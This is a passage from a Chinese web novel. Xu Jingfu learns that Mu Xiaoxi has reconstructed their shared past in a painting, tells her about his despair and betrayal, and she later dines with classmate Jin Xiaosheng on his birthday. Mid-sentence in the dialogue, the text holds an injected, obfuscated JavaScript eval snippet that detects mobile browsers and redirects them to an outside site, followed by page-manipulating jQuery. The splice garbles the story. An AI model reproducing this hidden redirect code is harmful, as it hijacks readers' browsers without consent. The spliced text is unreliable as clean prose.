有点堵车,到家时已经接近八点。 今晚留在别墅值守的是李香榕,见他回来后很是惊讶:“徐先生,您回来了。” “煮个面,一会儿端到书房来。”他脱了衣服扔到一边,提着东西往楼上走,走了一半回头问,“木晓晞呢?在几楼?” “在三楼书房。” 徐敬孚点点头,两步并做一步很快便上了三楼,到了书房门口,他弯起手指敲敲门。 “叩叩叩。” 没人开。 他又敲了三下。 还是没人开。 他皱了皱眉,伸手压下了锁把,将门慢慢推开。看到里头景象的时候,他惊了一瞬。 只见木晓晞上半身趴在沙发扶手上,后半身拖在沙发上,头耷拉在扶手下边,双手和头发垂吊着,手里的笔掉在地上,一身白裙,倒吊着的头发将整张脸遮得七七八八,仿若贞子再现。 他看了眼顶头的白炽灯,又垂下眼,轻手轻脚关上门。 空气中还有女孩儿轻微的呼声。 睡着了? 他将袋子轻轻放在桌上。女孩儿没醒,只是歪了下头,哼唧了一声,然后继续睡。 徐敬孚:“……”这么睡,舒服吗? 睡相真差。 他有些好笑,摇摇头,没叫醒她,而是打量了一下四周,看到了不远处的画架。 看清画上的内容后,他露出一个有些不敢相信的神情,忽地回头又看了眼沙发上的女孩儿,眼里的情绪变得很是复杂。他放轻脚步朝画走了过去,站到近处仔细看。 那是一条河,河上有一座桥,桥的背后是一片星空。 桥上乍一看只有一个人,一个身材很高大的穿着长袄的男人,但如果看仔细些,会发现男人的肩头上还有半颗扎着小辫的小脑袋。 棉袄在小女孩身上,小女孩趴在男人背上。他们背对着他,面对着河流,地上有雪花,天上有星星。 他忍不住伸出手,轻轻触摸那幅画上的小辫儿。 她……想起来了? “叔……叔?”身后传来女孩儿朦胧未醒的声音,“您怎么,回来了?” 徐敬孚转过头,张了张嘴,看看她,又回过头去看看那幅画。好半天,他才问:“你想起来了?” 木晓晞从沙发上爬起来,坐好,整个人糊里糊涂的:“……什么?” 徐敬孚指着画:“你画的?” 木晓晞这才注意到那幅画,她看看徐敬孚脸上有些不同寻常的表情,眨眨眼,脑子慢慢清醒过来:“……嗯。” “你想起什么了?” “……” 男人的神情有些紧绷,严肃地有点吓人。 木晓晞彻底醒了,她有些慌,看看画,看看他:“叔叔?” 徐敬孚说不出更多的话来,因为他看到了木晓晞脸上的茫然——她没想起来。 他又看看画,喉咙动了一下。 是了。 那时候的木晓晓才七岁。七岁的孩子,能记住什么? 况且,都十三年了。 “叔叔。”木晓晞下了沙发,朝徐敬孚走过去,她小心翼翼地问,“您还好吗?” 徐敬孚看了她一眼,胸膛起伏着吸了口气,笑了下:“没事。” 木晓晞察觉到了他的不对劲,看了看画,有点忐忑地问:“我是不是……画错了?您生气了吗?” “……没有。”他扯了下嘴角,“你画得很好。” 基础功挺扎实,虽然有些地方处理得很生硬,但还是比他画得像那么回事。 那为什么不高兴。 木晓晞想问,没能问出口。她觉得自己好像又做错了什么,一时有些不知所措:“我……我只是根据您画的那一副画,根据自己的理解,换了一个视角重新画了一遍,我画错了吗?我是不是理解错了,这里两个人是不是……不是这样的姿势,是别的……如果不是这样,那是怎么样的?” 徐敬孚看到她慌张翻出手机,调出她拍的外头的那张画的照片,放大桥上的那一部分人影。 说是人影,其实就是很模糊的一竖两点。 他画得很“含蓄”,几乎看不出那是两个人。 “你怎么知道,是这样的姿势?”他干笑了一声,说不出是什么心情,“这是怎么看出来的?” 甚至能精确画出来,棉袄是在孩子身上。 “两个点是并排的,一高一低,长长的那一画是身体,您的身体,”木晓晞看着手机上的照片,看着那一竖两点,“您之前跟我讲过,您说我那天穿得很薄,只穿了毛衣,但是那天很冷。” 徐敬孚知道木晓晞忘记了过去,所以之前给她讲述以前的事时并没有将每一个细节都告诉她,但她却靠着这样一幅画几乎推测得毫无差错。 “我猜您肯定不会让一个孩子受凉,所以我推测这个衣服应该是在……孩子身上。” “……还有呢?”他问。 “还有,这两个头都在身体上方的位置,说明您应该是抱着孩子或者背着孩子的。” “那为什么不是抱着。” 木晓晞抬起眼,看到徐敬孚眼中浮现出一种她看不懂的很浓烈很压抑的情绪,她不知道那是什么,只感觉自己的心跳忽然加速,她不敢和他再对视,于是垂下眼来,捏着裙摆。 她感觉有些羞耻,说不出口。 徐敬孚却步步紧逼:“为什么不是抱着?” 她深吸一口气,缓缓吐出来。 徐敬孚很坚持地站在这里等她说。 “因为……”她的心跳越来越快,嗓子有些干涩,“因为我,我觉得……” 她再次深呼吸,给自己鼓了气。 “如果是抱着的话,衣服在孩子身上,您就会很冷,但是如果您是背着孩子的话,您就不会冷了,我觉得那个小孩……” “你。”徐敬孚打断她。 “……” 徐敬孚:“那是你。” 木晓晞抬起眼,却看到徐敬孚转过头去,只见他长长地缓缓地出了口气:“不是那个小孩,那是你。” 木晓晞忽然眼眶有些酸,她好像听明白徐敬孚语气中的遗憾和自嘲。 “如果是你的话,你会这样做,对吗?”他笑了笑,问她。 木晓晞点点头。 “为什么?” “……” “因为……” “不是那个小孩,是你。”徐敬孚再说了一次。 木晓晞眨了眨发热的眼睛,点了点头,认真地看着他:“嗯,如果是我的话,如果我是七岁,在那种情况下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17328496|197175||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我会怕您冷着,您把衣服给我穿了,您就没有衣服穿了,如果您背着我,我再用衣服把您包起来的话,您就……” 徐敬孚忽然抱住她。 木晓晞一下子瞪大了眼,眼泪莫名其妙地从眼眶浸了出来。 “谢谢。” 永远不会有人知道,徐敬孚的那一天到底有多绝望。 也永远不会有人明白,那个七岁的小孩到底给了他什么。 也许没人能懂,也许永远不会有人懂,为什么他会将一个七岁的孩子视为自己的精神支柱,为什么将那样短短一个月的回忆视为生命的锚点。 人没有绝望过,就不会知道什么是希望,人如果一直在希望中,就会以为有希望是一件再自然不过的事,人一直在幸福中,就会认为幸福唾手可得。 可他的人生从不是这样,也从没这样过。 他的人生有什么? 十一岁前,生活在福利院,光是福利院都辗转好几个。 十二岁随同样出自福利院的叔叔出来打工,睡过地板,睡过地下室,没日没夜地干活以换口饱饭,再被像货物一样转给其他人,转手一次,再一次,多到他都不记得到底跟过几个师傅,学过多少手艺。 十五岁开始独立接活,什么脏累活都干过。 十八岁,他赚到了一笔足够他买下一间房的钱,而那笔钱是木钧给的。他结束了自己流浪的生活,有了自己的家。 后来,他随着木钧去做工,再到离开木钧去接活。 他认识了木钧的家人,木钧说:“我的家人就是你的家人。” 他真信了。 那时候的木钧还不是后来那个样子,那时候的他……他相信那时候的木钧是真心说那句话的。只是他也同样相信,人心易变。 木钧背叛他之后,他一度不愿意相信这个事实,哪怕身边的所有人都说木钧是个混蛋,哪怕所有的证据都指向木钧骗了他,但他始终不愿意去下这个结论。 直到他跑去木钧家里,亲口质问他,木钧却大言不惭:“是我又怎么样?我有一家人要养,你一个人吃饱全家不饿,你怎么能懂我的处境?木延要上幼儿园,木晓晓的学费马上要交,我父母病重,哪样不要钱?我能怎么办?” “如果你问我要,我会给你。”当时的徐敬孚是这样说的。 “不用你给,我会自己赚。” “通过坑我来赚?” 木钧笑道:“人心不可信,这算是哥给你上的第一节社会课,你该谢谢我。” 彼时的徐敬孚刚刚遭受被亲生父母拒绝认亲的挫折,又得知自己被木钧骗,心里已经死灰一片,但还是抱有最后一丝希望,问他:“所以……你说的,家……人?” 木钧听他这样说,忍不住大笑起来。 这时木晓晓刚好放了学,一推家门就兴奋地叫道:“爸爸爸爸,你看我手里是什么?” 木钧带着笑摇着头问:“什么啊?” 木晓晓举起手里的橙子:“一个橙子!一个卖橙子的叔叔给我的,我帮他捡了洒在地上的橙子,他给我的奖励!送给你爸爸!你吃吧!很好吃的!很甜很甜!” “我不喜欢吃这些东西,你吃吧。”木钧斜着眼瞧瞧旁边的年轻男人,“给你这个叔叔吧,他没吃饭,应该饿了。” 徐敬孚笑了一声。 小姑娘看不出大人的表情,只觉得这个叔叔好像不太开心,她以为是他饿了的缘故,于是把橙子递给他:“叔叔,你饿了吗?给你吃橙子,橙子甜甜的,酸酸的,不过也很好吃。” 徐敬孚转头就走。 小姑娘愣住,追上去:“叔叔!橙子给你!” 徐敬孚一把挥开她,将她挥倒在地:“我就算饿死也不会吃你的东西。” 之后他便离开了木钧家,身无分文甚至倒欠一大堆债的他开始了真正的流浪。 住过桥洞,睡过大街,天越来越冷。 无论在哪个年代,只要勤劳肯吃苦,没有饿死的,他也没有饿死,有人愿意收留他,只是他不愿意待在别人家。他宁愿跟流浪汉睡在桥洞,也不想再对任何人的善意抱有幻想。 那段时间,他每天只为三餐和还债活着,他打算等全部债务还完之后就去死。 遇到木晓晞的那天,是他的二十四岁生日。而他在头一天,终于还完了所有的债,全身上下只有五十七块钱。 “那时候我想,也许人活着就是为了受苦。”徐敬孚坐在沙发上,出神地看着那幅画,“哪怕前头有甜,也只是为了衬托后面的苦……太没有意思了,这样的生活,所以我就想,干脆死了吧。” 木晓晞坐在旁边看着他,心脏像被什么紧紧地揪住,拧成一团。 “后面的事你也知道了,没死成,遇到了你,木晓晓。”他低头笑了笑,然后看向她,“现在叫木晓晞了。” 木晓晞问:“您现在也还这样想吗?” 徐敬孚:“什么?” 问完,顿了几秒,他摇摇头,又点点头。 木晓晞不明白。 徐敬孚也说不出来,只是看着她,笑着:“谢谢你给我那个橙子,其实那时候我真挺饿的。”他开玩笑,“要不是你,我可能要做个饿死鬼了。” 木晓晞嘴巴一瘪,又想哭了,她连忙使劲地眨眼低下头,吸吸鼻子。 徐敬孚拿了纸过来递给她:“你真的很爱哭。” 木晓晞却拿纸捂着眼睛,半天放不下来。 徐敬孚靠在扶手上静静地看着她,看着她小声地哽咽,抽泣。他感到自己的心也逐渐地逐渐地从一块石头化成了一滩水,女孩儿的眼泪没完没了,淌在脸上,流进他的心里。 一滴一滴,汇成一条汩汩的小溪。 从他记事起,他就不记得自己哭过,哪怕是被师傅四处转手,被亲生父母拒绝认亲用刀砍出家门,被信任的大哥那样当个傻子一样欺骗戏弄,饿得前胸贴后背,冻得手脚生疮,他也没有哭过。 从没有。 他甚至认为,自己天生就是一个没有眼泪的人。可在这一刻,他却有了一个荒谬可笑的想法,他想,也许不是没有眼泪,而是眼泪被转移了。 转移到了木晓晞身上。 “好了。”他抽了张纸,伸手将她捂不住的眼泪给擦掉,“有什么好哭的,你也挺惨的,还是把眼泪留着为你自己哭吧。” 木晓晞拉着他的手给自己使劲擦擦脸,瞪着两个红肿的杏眼,说:“我有什么好哭的,我又不可怜。” “你怎么不可怜,你都被你爸卖了。”徐敬孚不留情地说。 “被他卖了我才不难过。”木晓晞赌气说。 徐敬孚拍拍手:“为你的勇气鼓掌。”他问,“这你都不难过,那什么情况下你会难过?” 木晓晞想了想,说:“要是被叔叔卖了的话,我可能会难过。” 徐敬孚一下僵在原地。 “很可笑吗?”她问,不等他回答,她低着头自言自语说,“如果叔叔有一天想卖了我的话,就不要对我太好了。” 她看着桌上那一袋子画画的东西。 “我讨厌吃甜食,是因为我怕我吃多了的话,就再也吃不了苦。” 她站起身来,往后退了两步。 徐敬孚仰视着她,看到她向他深深地鞠躬。 “我回卧室去了,叔叔晚安。” 说着便转身要离开。 “这就是你现在不吃橙子了的原因吗?” 木晓晞停在门口。 徐敬孚说:“以后没有苦了。” 他看着木晓晞瘦瘦小小的背影,像在和她承诺什么。 “你以后,一口苦都不会吃了。” “晓晓,这里永远是你的家。” 木晓晞回过头,看到他对着她露出一个温柔得不能再温柔的笑容。 “晓晞,你可以试着相信我。” 眼泪再次落下的瞬间,木晓晞的心里忽然刮起了狂风骤雨,将她的心脏吹得颤抖,乱跳。 这一次她清晰地意识到,她不是被吓到了,也不是害怕考核。 不是父亲。 也不是长辈。 哪怕什么经验也没有,也从未有过这种体验,可当时间真的来到这一刻时,她还是毫无疑虑地明白了那是什么。 也正是因为明白了,她笑了,同时也哭得更厉害了。 她想,怎么会在这种时候明白。 怎么可以在这种情况下明白。 怎么能。 怎么该。 “你可以把我当成你的爸爸,我想我会比木钧做得好。” 简直无厘头。 …… 假期结束之后,木晓晞逃亡一般带着自己的行李箱离开了那个“家”。 她告诉自己,木晓晞,你不能这样。 木晓晞,你应该把他当做父亲。 就像他期待的那样。 你做他的养女,他做你的养父,成为一家人,相亲相爱的一家人。 这是你一直想要的,不是吗? “晓晞!好久不见啊!”刚收拾好宿舍床铺,隔壁的张欣就跑了过来,和她热情招呼,“假期过得怎么样啊?” 她笑着说还好。 “唔。”张欣笑着皱脸,一副“我懂我懂”的表情,她绕着木晓晞转了两圈,眼睛瞟了瞟四周,看没人,凑过去在木晓晞耳边小声快速地说,“和自己最爱的人在一起,肯定很不错咯!” 木晓晞僵在原地,张嘴好几次。 “放心吧,我嘴很严!”张欣冲她俏皮一眨眼,“不会告诉任何人啦!这是我们之间的秘密!” 刚说完,就有人推门进来。 是她的三个舍友一起来了,张静静,李苁,石兰。 李苁好奇地问:“什么秘密啊?” 张欣被吓得汗毛倒竖龇牙咧嘴,连忙看向木晓晞。 却见木晓晞很淡定地笑了,她很放松地歪了下头:“既然是秘密,那肯定不能告诉你。” “啊?什么什么?我更好奇了!什么秘密?”张静静也来凑热闹。 “对啊,你不说就算了,你一说我们更想知道了。”石兰也像个猴子一样吊在木晓晞肩膀上摇她,“快说快说,什么秘密!” 木晓晞无奈:“好吧好吧,我说,其实我……” 大家竖起耳朵。张欣吓得瞪眼。 木晓晞一本正经:“我打算去做变性手术,等我毕业了,把你们给娶回家做大姨太,二姨太,三姨太,一个伺候我吃饭,一个伺候我洗脚,一个伺候我睡觉。” 张欣:“……” 三个室友听完纷纷揍她:“胡说八道!我们都是姨太,那谁是正房?说!那个大贱人是谁?!” 木晓晞嘻嘻哈哈地在屋里打圈跑。 “我金屋藏娇啊,当然不能给你们知道。”木晓晞扭扭腰,“反正呢,是个永远不能叫你们知道的人,我最爱的,得藏好,家里红旗不倒,外头彩旗飘飘,来吧,给我亲一口!谁都逃不掉!” “啊!渣男来啦!快跑!快跑!” 寝室里嘻嘻哈哈闹成一片。 这时放在桌上的木晓晞的手机震动了一下,又一下。 几乎是同时,进来了两条信息。 一条是徐敬孚的:【到学校了?】 一条是金笑笙的:【我到学校了。】 新学期,要开始了。 31.第 31 章 (三十一) 爱情是什么呢? 曾经的木晓晞很想了解。 她写小说,写过情深似海,她画漫画,也画过俊男靓女。 她也看过电视剧,电视剧的爱情总是那样轰轰烈烈激情四射的,如深邃夜里炸开的璀璨烟花,如炙热炉中噼里啪啦跳跃的火苗,像大海掀起巨浪将船只拍得飞向天空,惊散成群的水鸟冲进红烂的霞光中,画成一幅惊世骇俗的绚丽美景。 激动人心,喜极而泣,怦然甜蜜。 这是她以为的爱情。 “一会儿干什么去?” 张欣的室友大三出国了两个,剩下罗雨言一个,但是张欣本人跟罗雨言关系没有那么好,加上罗雨言开始做直播了,忙得课都很少来上,所以张欣自然而然便跟木晓晞组成了新的小团体。 “没事干,要么回宿舍去画画,要么就去图书馆看会儿书,你呢?” 加上有了木晓晞“已婚”这个共同的秘密,两人现在好得跟连体婴儿没区别了,走哪儿都要一块。 “我想去打网球,你要不要一起?” “我不会。”木晓晞想到第一次在学校里见徐敬孚,那时他好像就是跟李秀出来打网球了,李秀背着一个很专业的网球包,漂亮得连她都忍不住多看两眼。 “你前两年上了哪些体育课呀?” “健美操,太极,乒乓球,排球……网球是热门,抢不到。” “你想学吗?”张欣问她,“我教你啊,我有球拍。” 木晓晞想说“不用了”,但到了嘴边却成了“好啊”。 开学一周多了,除了走的那天跟徐敬孚一起在家吃了个饭,说了几句话,到了的那天和徐敬孚报了个平安,就再也没说过什么多余的了。 也不是完全没得说,徐敬孚现在会主动和她发消息了,有时会抽空问问她,问她“怎么样”。 一个很宽泛的不知道该让人怎么回答的问题。怎么样,哪方面怎么样呢?她不知道,只能也回答得很宽泛——“还好,谢谢叔叔关心”。 吃得还好,穿得还好,上课也还好。 还是像以前一样吃,穿的还是她之前的衣服,课一下子少了很多。 除了拿来交学费以外,她没打算花徐敬孚给她打来的生活费,所以从到学校的那天开始就每天坚持利用休息时间画画,帮人做做书封,写写短篇故事投给收文公众号。 假期中买来的衣服,她大部分都还是留在了别墅里,只带来了以前的旧衣服还有两条样式简单看不出价格的裙子。 张欣还偷偷问过她:“你老公那么有钱,你干嘛只穿这些呀?” 她也悄悄地回:“你真想让我坐实被包养的谣言啊?” 张欣:“也是,还是低调点吧,人言可畏。” 她点头:“枪打出头鸟。” 张欣被说服了,深以为然。 有关木晓晞的谣言也只持续了上学期期末那一个月,新学期开始后,大家都将她的事抛之脑后。她看起来实在是太朴素,一点没有被包养的痕迹,加上口欲不强,顿顿食堂,一顿也就吃个七八块钱,一顿这样吃可能是作秀,顿顿如此天天如此,就很难让人相信她是个有什么背景的。 简直比贫困生过得还要拮据。 连李苁跟她在食堂里碰上几回之后都抓头:“怪不得你身材好,你吃的这东西跟和尚有什么区别?” 木晓晞指着盘子,一板一眼地反驳她:“蛋白质,蔬菜,碳水,一样不缺,营养餐。” 李苁翻白眼:“《活着》。” 之后,便也不再好奇她那个有钱的长辈了。 徐敬孚的“怎么样”也挺有规律的,隔一天问一次,几乎每次都是晚上十一二点的时候问。 因为在学校要定时熄灯,那个点儿木晓晞有时睡了,有时没睡,她有时看到了就回复,有时看到了等一会儿回复,有时当作没有看到,第二天早上回复。 对方问得固定,她回答得也大同小异。 【怎么样?】 【还好,一切顺利,谢谢叔叔关心。】 【怎么样?】 【还不错,今天和朋友去运动了,刚回来,打算睡觉啦,晚安叔叔。】 【怎么样?】 【不好意思,昨天睡得早,没看到您的消息,挺好的,您呢?】 【怎么样?】 【好着呢,准备去上课啦。】配图一张在路上的自拍,对着镜头比了一个耶。 总之,她自认为还是回复得挺自然的。 今天又到了该发“怎么样”的日子,徐敬孚靠在床头把这三个字都已经打到了对话框里,但却迟迟没有发出去。 他迟疑半晌,一下一下将三个字给删了。 坐了一会儿后,他拉了灯,睡了。 第二天一早起来,他摸出手机翻了翻,对话框里空空如也,对话还停留在两天前。 他点开木晓晞发给他的那张有些糊的自拍照,放大了看,看到她背后的大楼,他回忆了一下,有点像他们之前见面的地方,是图书馆附近? 最近学习很忙? 他活动了一下脖子,又看了会儿照片,照片上的小姑娘抿着嘴笑得腼腆,眼睛弯弯的,头上戴着个鸭舌帽,齐刘海盖住眉毛,显得很是乖巧。 前些日子一直很忙,木晓晞的刘海又一直挡着头,他都没有关注过她头上的伤好了没。 好了没有呢?应该好了吧?都快一个月了。 他调出对话框,想给对方发消息问问,可又觉得这迟来的关注似乎有些突兀,于是还是算了。他想了一会儿,最后还是发了固定的那三个字过去:【怎么样?】 这个信息刚发过去的时候,木晓晞刚好和张欣在食堂吃早饭,张欣端饭过来,从她背后挤过的时候正好看到手机上的信息。 木晓晞给徐敬孚的备注是【徐叔叔】,张欣看得清清楚楚。 很自然地,就联想到了民政局里见到的那个“徐姓”男人。 她一脸便秘的笑容,把餐盘推给木晓晞,小声问:“你家那位?” 木晓晞连忙盖住手机:“……” “还不好意思。”张欣捶她一下,撇嘴,“有什么不好意思的,我谈恋爱的时候恨不得天下皆知,你呢,都快搞成间谍片了,鬼鬼祟祟的,不知道的还以为你俩真是关系不正当的地下情……唔!” 木晓晞拿包子塞住她的嘴:“不要说啦!” 张欣咬掉一口,囫囵道:“我又没说错,这有什么啊,该秀就秀,我又不是什么外人。” “好啦!” “我可是史官!” “吃饭吃饭。”木晓晞又塞给她一个剥好的鸡蛋。 见她一本正经地红了两只耳朵,张欣忍不住偷笑,边吃边催促她:“快回复,人家问你呢。” 木晓晞本来是打算回一下的,但张欣这会儿在旁边八卦地盯着,她反而回不了了,她叹了口气:“你真的不会把我的事到处跟人说吗?八卦得要死……” “嘻嘻,你这个已婚妇女,怎么比我还纯情?”张欣怪模怪样似笑非笑,“我这才八卦到哪儿啊?还有更刺激的没八卦呢,什么夫妻性向……唔唔唔!” 木晓晞将面包塞她嘴里:“吃,给我吃!” 两人正嘻嘻哈哈地打闹着,一个声音从对面传过来:“说什么呢,这么开心?” 说着,木晓晞正对面的椅子被拉开,一个瘦瘦高高一身白T牛仔裤的寸头男生坐了下来,笑盈盈地挑眉。 木晓晞一扭头,就看到了一个清爽硬帅甚至眉眼之间还有些“漂亮”的男大学生。 她眨眨眼,又眨眨眼,再眨眨眼,最后揉了揉眼。 金笑笙凑过来,伸手轻轻弹她一个脑奔儿:“不至于吧?换个造型就认不出来了?” 木晓晞:“……” 张欣在一旁捂住嘴,忍住尖叫,激动地耳尖发红:“你是……你是……” 金笑笙的脸长得有多好,木晓晞之前是感觉不到的,他的帅气似乎被淹没在了那些花里胡哨的发型和乱七八糟的浮夸装饰之中,可当所有的雕饰全部去掉之后,五官的优势就一下子非常显著地凸显了出来。 跟个明星似的,他在哪儿,四周的目光就会有意无意地聚到哪儿。 他自己倒是习惯了这种带着各种意图的目光,而木晓晞这种恨不得做隐形人的却是被这些打量的眼神搞得浑身都不舒服,下了课专门去宿舍拿了鸭舌帽和口罩遮脸的她拉了拉帽檐,埋低了头,在十米的距离之外给他打了个电话。 “喂?要不咱们去校外吃饭?” “来了?”金笑笙遥遥一打眼,就从人群中挑中了一个运动服运动裤的蒙面侠,他有些好笑,“怎么搞成这样?咱俩是去吃霸王餐的?” 说着拿着手机突破女生们目光的包围,要往她这儿来。 却见那个贼一下子往后退好几步,躲进了旁边树干后面。 “哎哎哎,别,别,别过来,咱们分头行动,我先去……啊啊啊啊啊!”金笑笙跟被弹弓发射了似的突然冲过来了,木晓晞吓得立马失声掉头狂跑。 金笑笙:“桀桀桀桀桀桀,小美人往哪儿跑!我来抓你了桀桀桀……” 两人一路跑到校外,到了夜市街尽头一个偏远的辣烫店门口停下。 虽然已经九月,但还是很热,跑到的时候木晓晞后背都湿了一大片,幸好穿的是黑色的运动短袖,也看不出什么。夜市街的尽头是海,一靠近,凉意就渗了过来。 到了店里头,他们坐了个角落的位置,金笑笙随手从兜里拿了张手帕出来递给她:“喏。” “什么啊……”木晓晞看到手帕愣了一下,“你怎么还随身带这种东西?” “你自己垫到背上还是我给你垫?” “……不至于,我不需……我自己来我自己来!”木晓晞见金笑笙站起来了,连忙拿过手帕,几下塞到湿透了的后颈去,“只有小孩才需要汗巾,我……” “等你感冒了,鼻炎犯了一打就是十几个喷嚏的时候,就不说这话了。”金笑笙伸手要去戳她额头,木晓晞刚要往后躲,就见伸了一半的手指又缩了回去,他嘀咕,“你以为你有多大?比三岁小孩儿胆子还小。” 说着摇摇头去取菜了。 木晓晞也连忙去拿了个盆和夹子跟在旁边,却看到金笑笙不管拿什么都是一式两份,很快就动作娴熟地拿了一大筐,拿了那么多,竟然没有一样是她不吃的东西。 口味这么相近吗? “偷看什么?”金笑笙拿去结账,结完扭头对她露出一个职业化微笑,“再看要收费了……对了,一份不要放蒜泥……香菜?香菜都要。” 木晓晞看看自己手里空空的菜盆,把东西拿回去放下了。 坐着等饭时,金笑笙一直低着头玩手机,没怎么跟她闲聊,好像在忙什么事。看来真像他说的那样,就是出来单纯吃个饭,并没有别的意思。 早知道这样,她就不用一杯奶茶把人打发了。 因为怕又跟金笑笙搅和不清,她回校后并没有直接联系他,而是把本子放到了导员办公室,配上一杯奶茶,叫金笑笙自己去取的。结果被金笑笙怒叱为抠神降世,难成大事。 她本来就成不了什么大事。她想说。 “至少一顿饭啊,不然对不起我假期费心费力带你,看在假期实习的面子上,叫声金师父不为过吧?”金笑笙连形象都不要了,当着一脸好奇的张欣的面连翻她好几个白眼,“一杯奶茶,真亏你想得出来,你实习工资拿了多少?请我奶茶?” 就这样,约定了晚上出来吃顿饭。 本来打算破费一把去学校西餐厅整顿好的,都预约好了位置,没想到金笑笙魅力那么大,一出楼门就被几个女生叫住唠上了。 还是来吃了便宜货。 等饭期间,木晓晞偷偷瞄了金笑笙好几眼,但他一直在忙,甚至出门去打起了电话:“嗯,嗯,送货地址改到……” 她总感觉哪里不太对劲,又说不出来哪里不对。哪里不对劲呢? 后颈上那片被用作汗巾的手帕的存在感强到她忍不住在金笑笙出去之后,立马就反手抽了出来。从这块手帕开始,就有点不对劲。 对了,他怎么知道她有鼻炎的?她说过吗? 还有,那么多菜,他怎么就知道她不爱吃大白菜,只吃绿色菜的?他怎么知道绿叶菜里,她也不吃茎,只吃叶?又是怎么知道她吃白蘑菇吃平菇,不吃香菇,吃豆皮不吃豆干,吃肉卷但不吃丸子,而且……连她吃香菜,但是不吃蒜泥的事都知道,还专门跟人这样交代。 假期实习一起吃饭的时候,她有表现得这么明显吗?还是说,就只是巧合? 可香菜和蒜泥……这难道也是巧合? 正想着,金笑笙就拿着手机进来了,麻辣烫也好了,老板叫了号,让他们去取。 “喝饮料吗?”金笑笙问她,说着目光在冰柜里浏览起来。 冰柜里没什么太多花样的饮料,就是可乐雪碧椰汁橙汁四样。而其中,橙汁是摆得最多的,椰汁只有两瓶。 因为肠胃总是不好,她也不怎么喝碳酸饮料。 她故意说:“都行。” 金笑笙点点头,拿了一瓶椰汁,端着饭来了。 一时间,那种古怪的感觉更加强烈了。但这感觉仿佛平地而生,找不到一点源头,有点像徐敬孚最开始时那些平白无故的好。 椰汁都拿过来了,忽然金笑笙又折返回去。 “有没有常温的?” “……”木晓晞的脑子一片空白,看着金笑笙等在收银台那,等着老板去拆箱拿货。 最后拿了一瓶常温的过来,他摆到她面前,问她:“你今天心情怎么样?” “……嗯?” “心情美丽吗?” 木晓晞不知道他怎么这么问,很奇怪,她说:“还行。” 金笑笙点点头,沉默了一会儿,好像有什么话要说,但是始终没说什么。 吃饭的时候,两人也是闷头吃饭,并不像木晓晞以为的那样会被缠着说很多话,就算偶尔有几句,对面也有些心不在焉的意思,跟等饭时玩手机一个感觉。她也就没多说什么,埋头干饭。 但是,心里隐隐的怪异感却越来越浓。 “学长。”吃得差不多,她忽然叫金笑笙。 金笑笙也放下筷子,拿纸擦嘴了,听她这样叫,像突然被打断了思考似的回了神,脸上习惯性地挂上笑容:“怎么了?” “你……吃饱了吗?”偏题了。 “我吃饱了,难得吃你一顿,还能饿着不成,你呢?还差点儿吗?” 木晓晞说自己也饱了。 金笑笙笑着说:“真是便宜你了,本来要吃顿好的的,跑来吃了麻辣烫,算上你那杯奶茶,一共也就……” “下次请你吃好的。” “……” 木晓晞竖起两根手指保证:“真的,下次我带你去扎扎实实吃一顿,这次不算。” “……”金笑笙愣了几秒,转而低头笑起来,“算了,不吃了,免得你男朋友吃醋。” 木晓晞问:“你心情不好吗?” 金笑笙:“……没有啊?” 木晓晞:“我感觉你好像……心情不太好,发生什么事了吗?” 金笑笙笑着说:“没有,我心情还不错,很好。” 木晓晞低下头,取了纸把嘴擦了擦,拿过椰汁默默把剩下的饮料喝完了,然后问道:“为什么要问我心情好不好?” “随口一问。” “是吗?” “嗯,我担心你跟我出来吃饭,会让你心情不好。”金笑笙见她想要聊天,便放松了身体,靠在椅背上,笑眯眯问,“还有什么想问的?” 木晓晞想问他,为什么会担心这个。很奇怪的担心。 但是,她又想到金笑笙有可能是喜欢她的,而她之前撒谎说自己有男朋友,拒绝过他。今天的饭局,算是金笑笙“强买强卖”,会这样想也不是没有可能。 “还有问题吗?”金笑笙问她。 木晓晞不知道该说什么,抿着嘴摇摇头。 金笑笙笑了,正笑着,来了个电话,好像是外卖的电话,他拿着手机边说边往门外看去,只见门外同时也进来一个外卖员,手里提着一个很小的蛋糕。不是透明包装,看不出里面是什么造型。 “谢谢哥。”金笑笙提了蛋糕回来坐下,“要不,我们回去?” 木晓晞没动,目光落在他手里的盒子上,问他:“蛋糕?” “嗯。” “你过生日?” “你想吃?” 两人几乎是同时问出口。金笑笙听到问话,愣了一下,他没否认也没承认,只是道:“想吃的话你可以试试这个口味,不是很甜,抹茶蜜瓜的,吃起来比较清爽。” 说着把桌上的碗给清了,将盒子放到桌子中央,像怕她要反悔似的,很快就将包装给拆了,拿了盘子切了一小块给她,又切一块给自己。 木晓晞:“……” 金笑笙:“我不怎么爱过生日,今天是例外。” 木晓晞不知道怎么接这个话。 “不用觉得有压力,我也没打算插足你跟你的富豪男朋友,我还没到那个地步。”他摸了摸自己短短的头发,有些感叹,“二十二了,也到了能领证结婚的年纪了,啧……你说,长大是不是都是这样……就像小孩儿偷穿大人衣服似的,我感觉我的内心还跟十二岁没区别,结果已经二十二了。” 木晓晞听他这样说,看到他的目光始终落在别处,并不和她相接。眼里也总是笑着,好像一副没心没肺的样子。 “昨天我去剪头的时候,我就在想,我要怎么去过这新的一岁,是像以前那样,继续游戏人间及时行乐,还是像个正常的有志青年一样,去做一些自己不喜欢做但是 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木晓晞又一大口吃进嘴里。 吃完,再来一口,一口接一口,当着金笑笙的面吃完了:“挺好吃的。” 金笑笙:“……什么时候开始吃甜了?” 木晓晞:“最近。” 金笑笙:“今天吗?” 木晓晞:“生日快乐。” 金笑笙:“……” 金笑笙把蛋糕捆好,将蛋糕推给她:“拿去跟你的室友分享吧,我不爱吃这个口味……谢谢你的祝福。” 说着他站起来,歪了下头:“走了?” 回去的一路上,两人都没说什么话。 秋天的夜风携着海的咸味儿一股一股地钻进鼻腔里,天暗了,星星也漫天。夜市街才开始喧闹,少年人们的嬉笑尖叫此起彼伏。 金笑笙一路都没有再笑,很沉默地走着,也没有再看木晓晞一眼,仿佛有什么心事一般。这个生日他好像过得并不开心。 